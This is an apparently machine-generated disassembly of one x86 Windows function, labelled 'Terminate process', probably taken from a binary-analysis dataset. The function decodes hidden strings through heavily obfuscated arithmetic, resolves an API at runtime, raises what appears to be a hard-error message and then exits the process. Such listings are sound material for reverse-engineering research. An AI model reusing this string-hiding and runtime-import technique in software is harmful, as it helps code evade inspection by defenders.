Function at 0x4068d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
jmp 0x4068db
cmp dword [0x4765e4], 0
sete al
test al, 1
jne 0x4068ee
jmp 0x407bbe
mov al, byte [0x472310]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x68
or al, 0x68
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x472330], cl
mov al, byte [0x472311]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x4e
or al, al
xor al, 0xff
or al, 0x4e
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, 0x8d
and dl, 0x72
mov dh, ch
and dh, 0x8d
and al, 0x72
or ah, dl
or dh, al
xor ah, dh
or cl, ch
xor cl, 0xff
and cl, 0xff
or ah, cl
mov byte [0x472331], ah
mov al, byte [0x472312]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
mov dl, al
and dl, dl
xor dl, 0xff
and cl, dl
xor cl, 0xff
xor cl, 0xff
xor cl, 0xff
xor cl, 0xff
or cl, 0x2e
xor cl, 0xff
and cl, 0xff
or al, 0xd1
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x472332], cl
mov al, byte [0x472313]
mov cl, al
xor cl, 0x1b
xor cl, 0xff
and cl, 0x1b
shl cl, 1
sub cl, 0x1b
sub al, cl
mov byte [0x472333], al
mov al, byte [0x472314]
xor al, 0xc2
mov byte [0x472334], al
mov al, byte [0x472315]
mov cl, al
and cl, 0x92
shl cl, 1
add al, 0x92
sub al, cl
mov byte [0x472335], al
mov al, byte [0x472316]
mov cl, al
xor cl, 0xff
and cl, 0xae
and al, 0x51
or cl, al
mov byte [0x472336], cl
mov al, byte [0x472317]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x78
mov cl, al
xor cl, 0x87
xor cl, 0xff
or al, 0x87
and al, cl
mov cl, dl
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, 0xe5
and dl, 0x1a
mov dh, ch
and dh, 0xe5
and al, 0x1a
or ah, dl
or dh, al
xor ah, dh
or cl, ch
xor cl, 0xff
and cl, 0xff
or ah, cl
mov byte [0x472337], ah
mov al, byte [0x472318]
mov cl, al
xor cl, 0xff
and cl, 0xdd
and al, 0x22
or cl, al
xor cl, 0x27
mov byte [0x472338], cl
mov al, byte [0x472319]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xf8
xor al, 0xff
and al, 7
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x472339], cl
mov al, byte [0x47231a]
xor al, 0x98
mov byte [0x47233a], al
mov al, byte [0x47231b]
xor al, 0x47
mov byte [0x47233b], al
mov al, byte [0x47231c]
xor al, 0x6a
mov byte [0x47233c], al
mov al, byte [0x47231d]
xor al, 0x65
mov byte [0x47233d], al
mov cl, byte [0x47231e]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xa0
xor al, 0xff
and al, 0xff
and cl, 0xa0
or al, cl
mov cl, al
xor cl, 0xdf
xor cl, 0xff
and cl, 0xdf
shl cl, 1
sub cl, 0xdf
sub al, cl
mov byte [0x47233e], al
mov al, byte [0x47231f]
xor al, 8
mov byte [0x47233f], al
mov al, byte [0x472320]
mov cl, al
xor cl, 0xff
or cl, 0xa3
mov dl, al
xor dl, 0xff
or dl, 0xa3
xor cl, 0xff
xor dl, 0xff
or cl, dl
shl cl, 1
add al, 0x5c
sub al, cl
mov byte [0x472340], al
mov ax, word [0x4721b2]
mov cx, ax
and cx, 0xbfc9
shl cx, 1
add ax, 0xbfc9
sub ax, cx
mov word [0x4721c2], ax
mov ax, word [0x4721b4]
mov cx, ax
and cx, 0xf2dd
shl cx, 1
add ax, 0xf2dd
sub ax, cx
mov word [str.zoNt], ax
mov ax, word [0x4721b6]
xor ax, 0x2529
mov word [0x4721c6], ax
mov ax, word [0x4721b8]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
or cx, dx
xor cx, 0xffff
and cx, 0xffff
or cx, 0
or cx, 0xfe1a
xor ax, 0xffff
or ax, 0x1e5
xor cx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or cx, ax
mov word [0x4721c8], cx
mov ax, word [0x4721ba]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
or cx, dx
xor cx, 0xffff
or cx, 0x49d9
xor ax, 0xffff
or ax, 0xb626
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
mov word [0x4721ca], cx
mov ax, word [0x4721bc]
mov cx, ax
xor cx, 0xffff
and cx, 0xff32
and ax, 0xcd
or cx, ax
xor cx, 0x666
mov word [0x4721cc], cx
mov ax, word [0x4721be]
mov dx, ax
xor dx, 0x6feb
xor dx, 0xffff
and dx, 0x6feb
shl dx, 1
sub dx, 0x6feb
mov cx, ax
sub cx, dx
xor cx, 0xffff
and cx, 0x6feb
shl cx, 1
sub cx, 0x6feb
mov dx, ax
xor dx, 0xffff
and dx, cx
xor cx, 0xffff
and ax, cx
sub ax, dx
mov word [0x4721ce], ax
mov ax, word [0x4721c0]
mov cx, ax
xor cx, 0xffff
or cx, 0x1218
mov dx, ax
xor dx, 0xffff
or dx, 0x1218
and cx, dx
xor cx, 0xffff
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
sub ax, 0x1219
sub ax, cx
mov word [0x4721d0], ax
mov al, byte [0x4721d2]
xor al, 0x85
mov byte [0x4721dc], al
mov al, byte [0x4721d3]
xor al, 0x9a
mov byte [0x4721dd], al
mov al, byte [0x4721d4]
xor al, 0x60
mov byte [0x4721de], al
mov cl, byte [0x4721d5]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xb3
or cl, cl
xor cl, 0xff
or cl, 0x4c
xor cl, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and al, dl
xor al, 0xff
mov byte [0x4721df], al
mov al, byte [0x4721d6]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0x23
xor cl, 0xff
xor al, 0xff
and al, 0x23
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x4721e0], cl
mov al, byte [0x4721d7]
mov cl, al
and cl, 0x94
shl cl, 1
add al, 0x94
sub al, cl
mov byte [0x4721e1], al
mov cl, byte [0x4721d8]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xe8
and al, 0xe8
and cl, 0x17
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
xor al, 7
mov byte [0x4721e2], al
mov al, byte [0x4721d9]
xor al, 0x25
mov byte [0x4721e3], al
mov cl, byte [0x4721da]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
mov ah, cl
sub ah, dl
or al, ah
xor al, 0xff
or al, 0x53
mov dl, cl
xor dl, 0x53
xor dl, 0xff
or cl, 0x53
and cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4721e4], al
mov ch, byte [0x4721db]
mov cl, ch
and cl, 0x9e
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x9e
sub ch, al
mov byte [0x4721e5], ch
mov ax, word [0x4721f0]
xor ax, 0x2467
mov word [0x472280], ax
mov ax, word [0x4721f2]
mov cx, ax
xor cx, 0xffff
and cx, 0x7cee
and ax, 0x8311
mov dx, cx
and dx, ax
xor cx, ax
or dx, cx
xor dx, 0xd5b6
mov word [0x472282], dx
mov ax, word [0x4721f4]
mov dx, ax
xor dx, 0xea4d
xor dx, 0xffff
and dx, 0xea4d
shl dx, 1
sub dx, 0xea4d
mov cx, ax
sub cx, dx
xor cx, 0xffff
and cx, 0xea4d
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add cx, 0x15b3
xor edx, edx
sub dx, cx
add ax, dx
mov word [0x472284], ax
mov dx, word [0x4721f6]
mov si, dx
xor si, 0xffff
and si, 0xa788
and dx, 0x5877
mov cx, si
xor cx, 0xffff
mov di, dx
xor di, 0xffff
mov ax, cx
and ax, 0xd625
and si, 0x29da
mov bx, di
and bx, 0xd625
and dx, 0x29da
or ax, si
or bx, dx
xor ax, bx
or cx, di
xor cx, 0xffff
and cx, 0xffff
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x8249
and ax, 0x7db6
or cx, ax
mov word [0x472286], cx
mov ax, word [0x4721f8]
mov cx, ax
xor cx, 0xffff
mov bx, ax
xor bx, 0xffff
mov word [ebp - 0xe], bx
mov dx, cx
and dx, 0xe7c9
mov di, ax
and di, 0x1836
and bx, 0xe7c9
mov si, ax
and si, 0x1836
or dx, di
or bx, si
xor dx, bx
or cx, word [ebp - 0xe]
xor cx, 0xffff
and cx, 0xffff
or dx, cx
mov cx, dx
xor cx, 0xffff
xor dx, 0xffff
or cx, dx
xor cx, 0xffff
or cx, 0
xor cx, 0xffff
or cx, 0
or cx, 0x57c2
xor cx, 0xffff
or ax, 0xa83d
mov dx, ax
and dx, 0xffff
shl dx, 1
add ax, 0xffff
sub ax, dx
mov si, cx
xor si, 0xffff
mov di, ax
xor di, 0xffff
mov dx, si
and dx, 0x2232
and cx, 0xddcd
mov bx, di
and bx, 0x2232
and ax, 0xddcd
or dx, cx
or bx, ax
xor dx, bx
or si, di
xor si, 0xffff
and si, 0xffff
or dx, si
mov ax, dx
xor ax, 0xffff
and ax, 0x48fc
and dx, 0xb703
or ax, dx
xor ax, 0xb703
mov word [0x472288], ax
mov ax, word [0x4721fa]
xor ax, 0x6c72
mov word [0x47228a], ax
mov ax, word [0x4721fc]
xor ax, 0xdd73
mov word [0x47228c], ax
mov ax, word [0x4721fe]
xor ax, 0xb70e
mov word [0x47228e], ax
mov cx, word [0x472200]
mov ax, cx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x180c
and cx, 0x180c
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov word [0x472290], ax
mov ax, word [0x472202]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
mov cx, dx
xor cx, 0xffff
or cx, 0x5f45
xor dx, 0xffff
or dx, 0x5f45
and cx, dx
xor cx, 0xffff
and ax, 0x5f45
or cx, ax
mov ax, cx
and ax, 0x3a40
shl ax, 1
add cx, 0x3a40
sub cx, ax
mov word [0x472292], cx
mov ax, word [0x472204]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
and cx, 0x81bd
or ax, 0x81bd
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x472294], cx
mov cx, word [0x472206]
mov dx, cx
and dx, 0xffff
shl dx, 1
mov ax, cx
add ax, 0xffff
sub ax, dx
mov dx, cx
xor dx, 0xffff
or ax, dx
and ax, 0xc98d
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov dx, cx
and dx, 0x3672
xor dx, 0xffff
xor cx, 0xffff
or cx, 0xc98d
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
mov cx, ax
and cx, dx
xor cx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
xor cx, 0xffff
mov word [0x472296], cx
mov ax, word [0x472208]
mov cx, ax
xor cx, 0xffff
and cx, 0x7c42
and ax, 0x83bd
or cx, ax
xor cx, 0x6c39
mov word [0x472298], cx
mov ax, word [0x47220a]
xor ax, 0xa88a
mov word [0x47229a], ax
mov ax, word [0x47220c]
mov cx, ax
and cx, 0x7166
shl cx, 1
add ax, 0x7166
sub ax, cx
mov word [0x47229c], ax
mov ax, word [0x47220e]
mov dx, ax
xor dx, 0x7f28
xor dx, 0xffff
mov cx, ax
or cx, 0x7f28
and cx, dx
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add ax, 0x7b11
add ax, 0x7f28
sub ax, 0x7b11
sub ax, cx
mov word [0x47229e], ax
mov ax, word [0x472210]
xor ax, 0xea0c
mov word [0x4722a0], ax
mov ax, word [0x472212]
xor ax, 0x6d94
mov word [0x4722a2], ax
mov ax, word [0x472214]
xor ax, 0x1ec1
mov word [0x4722a4], ax
mov ax, word [0x472216]
mov dx, ax
and dx, 0x9082
shl dx, 1
mov cx, ax
add cx, 0x9082
sub cx, dx
xor cx, 0xffff
mov dx, cx
xor dx, 0x9082
xor dx, 0xffff
or cx, 0x9082
and cx, dx
shl cx, 1
sub cx, 0x9082
sub ax, cx
mov word [0x4722a6], ax
mov ax, word [0x472218]
mov cx, ax
xor cx, 0xffff
and cx, 0x36ff
and ax, 0xc900
or cx, ax
mov word [0x4722a8], cx
mov ax, word [0x47221a]
xor ax, 0xa57f
mov word [0x4722aa], ax
mov cx, word [0x47221c]
mov dx, cx
and dx, 0xffff
shl dx, 1
mov ax, cx
add ax, 0xffff
sub ax, dx
xor ax, 0xffff
or ax, 0xc2f7
xor ax, 0xffff
and ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0xc2f7
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
and dx, dx
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
mov word [0x4722ac], cx
mov ax, word [0x47221e]
mov cx, ax
xor cx, 0xffff
and cx, 0x4098
mov dx, ax
xor dx, 0xbf67
xor dx, 0xffff
or ax, 0xbf67
and ax, dx
or cx, ax
mov word [0x4722ae], cx
mov cx, word [0x472220]
mov ax, cx
xor ax, 0xffff
and ax, 0xb13c
and cx, 0x4ec3
or ax, cx
mov cx, ax
and cx, 0xdc3f
shl cx, 1
add ax, 0xdc3f
sub ax, cx
mov word [0x4722b0], ax
mov ax, word [0x472222]
mov cx, ax
xor cx, 0x61b8
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
and cx, 0x61b8
shl cx, 1
sub cx, 0x61b8
xor edx, edx
sub dx, cx
add ax, dx
mov word [0x4722b2], ax
mov cx, word [0x472224]
mov ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0x4f85
xor ax, 0xffff
and cx, 0xb07a
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov word [0x4722b4], ax
mov cx, word [0x472226]
mov ax, cx
xor ax, 0xffff
and ax, 0x35e1
or cx, cx
xor cx, 0xffff
or cx, 0x35e1
xor cx, 0xffff
or ax, cx
xor ax, 0xe22f
mov word [0x4722b6], ax
mov ax, word [0x472228]
mov dx, ax
xor dx, dx
xor dx, 0xffff
mov cx, ax
or cx, cx
and cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
or cx, 0
mov dx, cx
and dx, 0x3994
xor cx, 0x3994
or dx, cx
xor ax, 0xffff
or ax, 0xc66b
and dx, ax
xor dx, 0xffff
mov word [0x4722b8], dx
mov cx, word [0x47222a]
mov ax, cx
or ax, ax
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov dx, ax
and dx, 0xffff
shl dx, 1
add ax, 0xffff
sub ax, dx
and ax, 0x1785
xor cx, 0xffff
and cx, 0xe87a
mov dx, cx
xor dx, 0xffff
mov si, ax
and si, dx
mov dx, ax
xor dx, cx
add ax, dx
sub ax, si
xor ax, 0xffff
mov word [0x4722ba], ax
mov ax, word [0x47222c]
xor ax, 0xb76f
mov word [0x4722bc], ax
mov ax, word [0x47222e]
xor ax, 0xe205
mov word [0x4722be], ax
mov ax, word [0x472230]
mov cx, ax
xor cx, 0xffff
and cx, 0x9df6
and ax, 0x6209
or cx, ax
xor cx, 0xeb09
mov word [0x4722c0], cx
mov cx, word [0x472232]
mov si, cx
xor si, 0xffff
xor si, 0xffff
or si, 0xa6ba
xor si, 0xffff
and si, 0xffff
and cx, 0xa6ba
mov dx, si
xor dx, 0xffff
mov di, cx
xor di, 0xffff
mov ax, dx
and ax, 0xe67a
and si, 0x1985
mov bx, di
and bx, 0xe67a
and cx, 0x1985
or ax, si
or bx, cx
xor ax, bx
or dx, di
xor dx, 0xffff
and dx, 0xffff
or ax, dx
mov cx, ax
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xf9b6
or ax, 0xf9b6
xor ax, 0xffff
or cx, ax
xor cx, 0xffff
mov word [0x4722c2], cx
mov ax, word [0x472234]
mov cx, ax
and cx, 0xf958
shl cx, 1
add ax, 0xf958
sub ax, cx
mov word [0x4722c4], ax
mov ax, word [0x472236]
mov cx, ax
and cx, 0x707d
shl cx, 1
add ax, 0x707d
sub ax, cx
mov word [0x4722c6], ax
mov ax, word [0x472238]
mov cx, ax
xor cx, 0xffff
mov dx, cx
xor dx, 0x7f80
xor dx, 0xffff
or cx, 0x7f80
and cx, dx
and ax, 0x807f
or cx, ax
mov word [0x4722c8], cx
mov ax, word [str._9_r]
xor ax, 0x3909
mov word [0x4722ca], ax
mov ax, word [0x47223c]
mov cx, ax
and cx, 0xcc6f
shl cx, 1
add ax, 0xcc6f
sub ax, cx
mov word [0x4722cc], ax
mov cx, word [0x47223e]
mov dx, cx
xor dx, 0xffff
and dx, 0x6a41
and cx, 0x95be
mov ax, dx
and ax, cx
xor dx, cx
or ax, dx
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
or cx, dx
and cx, 0xf483
xor cx, 0xffff
xor ax, 0xffff
or ax, 0xf483
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
mov word [0x4722ce], cx
mov ax, word [0x472240]
xor ax, 0x6b80
mov word [0x4722d0], ax
mov cx, word [0x472242]
mov ax, cx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0xce5a
add ax, 0x31a6
and cx, 0xce5a
or ax, cx
xor ax, 0xb4a5
mov word [0x4722d2], ax
mov ax, word [0x472244]
xor ax, 0xb29
mov word [0x4722d4], ax
mov cx, word [0x472246]
mov ax, cx
xor ax, 0xffff
mov dx, ax
xor dx, 0xfd03
xor dx, 0xffff
or ax, 0xfd03
and ax, dx
and cx, 0x2fc
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x25e2
and ax, 0xda1d
or cx, ax
mov word [0x4722d6], cx
mov ax, word [0x472248]
mov cx, ax
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0x8ad2
mov dx, ax
or dx, 0x8ad2
xor dx, 0xffff
or cx, dx
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
and cx, 0x8ad2
shl cx, 1
sub cx, 0x8ad2
sub ax, cx
mov word [0x4722d8], ax
mov ax, word [0x47224a]
xor ax, 0x33c
mov word [0x4722da], ax
mov ax, word [0x47224c]
mov cx, ax
xor cx, 0xffff
and cx, 0x205e
mov dx, ax
and dx, 0xdfa1
or cx, dx
xor cx, 0xffff
xor cx, 0xffff
or cx, 0xdfa1
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0x205e
sub ax, cx
mov word [0x4722dc], ax
mov cx, word [0x47224e]
mov ax, cx
xor ax, 0xffff
or ax, 0x897a
add ax, 0x7686
mov dx, cx
add dx, 1
xor cx, 0xffff
or cx, 0x897a
add cx, dx
mov dx, ax
and dx, cx
xor ax, cx
or dx, ax
xor dx, 0xefe3
mov word [0x4722de], dx
mov ax, word [0x472250]
mov cx, ax
and cx, 0x2a38
shl cx, 1
add ax, 0x2a38
sub ax, cx
mov word [0x4722e0], ax
mov cx, word [0x472252]
mov dx, cx
xor dx, 0xffff
mov ax, dx
and ax, 0x82e8
xor ax, 0xffff
and dx, 0x82e8
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
mov dx, cx
xor dx, 0x82e8
and dx, cx
mov cx, ax
or cx, dx
xor cx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov ax, cx
xor ax, 0xffff
and ax, 0x4bcf
and cx, 0xb430
or ax, cx
mov word [0x4722e2], ax
mov ax, word [0x472254]
mov dx, ax
add dx, 1
mov cx, ax
xor cx, 0xffff
or cx, 0x8c62
add cx, dx
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
mov dx, ax
and dx, 0x8c62
or ax, 0x8c62
add dx, ax
sub dx, cx
mov word [0x4722e4], dx
mov ax, word [str.X0_]
xor ax, 0xc83a
mov word [0x4722e6], ax
mov ax, word [0x472258]
xor ax, 0x30d5
mov word [0x4722e8], ax
mov ax, word [0x47225a]
xor ax, 0x9141
mov word [0x4722ea], ax
mov ax, word [0x47225c]
xor ax, 0xc191
mov word [0x4722ec], ax
mov cx, word [0x47225e]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
or ax, dx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0xa0d1
and cx, 0x5f2e
mov dx, cx
xor dx, 0xffff
mov si, ax
and si, dx
mov dx, ax
xor dx, cx
add ax, dx
sub ax, si
xor ax, 0x7c96
mov word [0x4722ee], ax
mov ax, word [0x472260]
mov cx, ax
xor cx, 0xb291
xor cx, 0xffff
and cx, 0xb291
shl cx, 1
mov dx, cx
xor dx, 0xb291
and cx, 0x4d6e
shl cx, 1
sub cx, dx
sub ax, 0x8d9b
sub ax, cx
add ax, 0x8d9b
mov word [0x4722f0], ax
mov ax, word [0x472262]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
or cx, 0xe4a1
xor cx, 0xffff
or ax, 0x1b5e
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x4722f2], cx
mov ax, word [0x472264]
mov cx, ax
xor cx, 0xffff
and cx, 0xe9dc
and ax, 0x1623
or cx, ax
mov word [0x4722f4], cx
mov ax, word [0x472266]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
or cx, dx
and cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0xe586
xor dx, 0xffff
and ax, 0xe586
or dx, ax
mov word [0x4722f6], dx
mov ax, word [0x472268]
xor ax, 0xf0b9
mov word [0x4722f8], ax
mov ax, word [0x47226a]
xor ax, 0x2853
mov word [0x4722fa], ax
mov ax, word [0x47226c]
xor ax, 0x1a27
mov word [0x4722fc], ax
mov ax, word [0x47226e]
xor ax, 0x280b
mov word [0x4722fe], ax
mov ax, word [0x472270]
mov cx, ax
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0x4a85
or ax, 0x4a85
xor ax, 0xffff
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
mov word [0x472300], cx
mov cx, word [0x472272]
mov ax, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0x245c
add ax, 0xdba4
mov dx, cx
xor dx, 0xdba3
and dx, cx
or ax, dx
mov word [0x472302], ax
mov ax, word [0x472274]
xor ax, 0x2f74
mov word [0x472304], ax
mov ax, word [0x472276]
mov cx, ax
xor cx, 0xffff
and cx, 0x33d9
and ax, 0xcc26
or cx, ax
mov word [0x472306], cx
mov ax, word [0x472278]
xor ax, 0xe2e1
mov word [0x472308], ax
jmp 0x407bc0
mov dword [0x4765e4], 1
push eax
sub esp, 8
mov eax, esp
push eax
mov esi, esp
mov dword [ebp - 0x18], esi
sub esp, 0x14
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0x2c], esp
sub esp, 0x8c
mov dword [ebp - 0x20], esp
sub esp, 0x10
mov dword [ebp - 0x28], esp
sub esp, 8
mov edi, esp
sub esp, 8
mov ebx, esp
sub esp, 0xc
mov dword [ebp - 0x24], esp
mov ecx, dword [0x4721dc]
mov dword [eax], ecx
mov ecx, dword [0x4721e0]
mov dword [eax + 4], ecx
mov cx, word [0x4721e4]
mov word [eax + 8], cx
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esi], eax
lea eax, [0x472330]
sub esp, 0xc
mov esi, dword [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x11
call fcn.0044fc30
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
lea eax, [0x472280]
sub esp, 0xc
mov esi, dword [ebp - 0x20]
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x8a
call fcn.0044fc30
add esp, 0xc
mov eax, dword [0x4721c2]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [0x4721c6]
mov dword [ecx + 4], eax
mov eax, dword [0x4721ca]
mov dword [ecx + 8], eax
mov eax, dword [0x4721ce]
mov dword [ecx + 0xc], eax
mov word [edi], 0x88
mov ax, word [edi]
mov word [edi + 2], ax
mov dword [edi + 4], esi
mov word [ebx], 0xe
mov ax, word [ebx]
mov word [ebx + 2], ax
mov dword [ebx + 4], ecx
mov eax, dword [ebp - 0x24]
mov dword [eax], edi
mov dword [eax + 4], ebx
mov dword [eax + 8], 0x34
mov edx, eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0x50000018
mov dword [esp + 4], 3
mov dword [esp + 8], 3
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 0
mov esi, dword [ebp - 0x2c]
mov dword [esp + 0x14], esi
call eax
cmp dword [esi], 8
setne al
test al, 1
jne 0x407d20
jmp 0x407d32
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret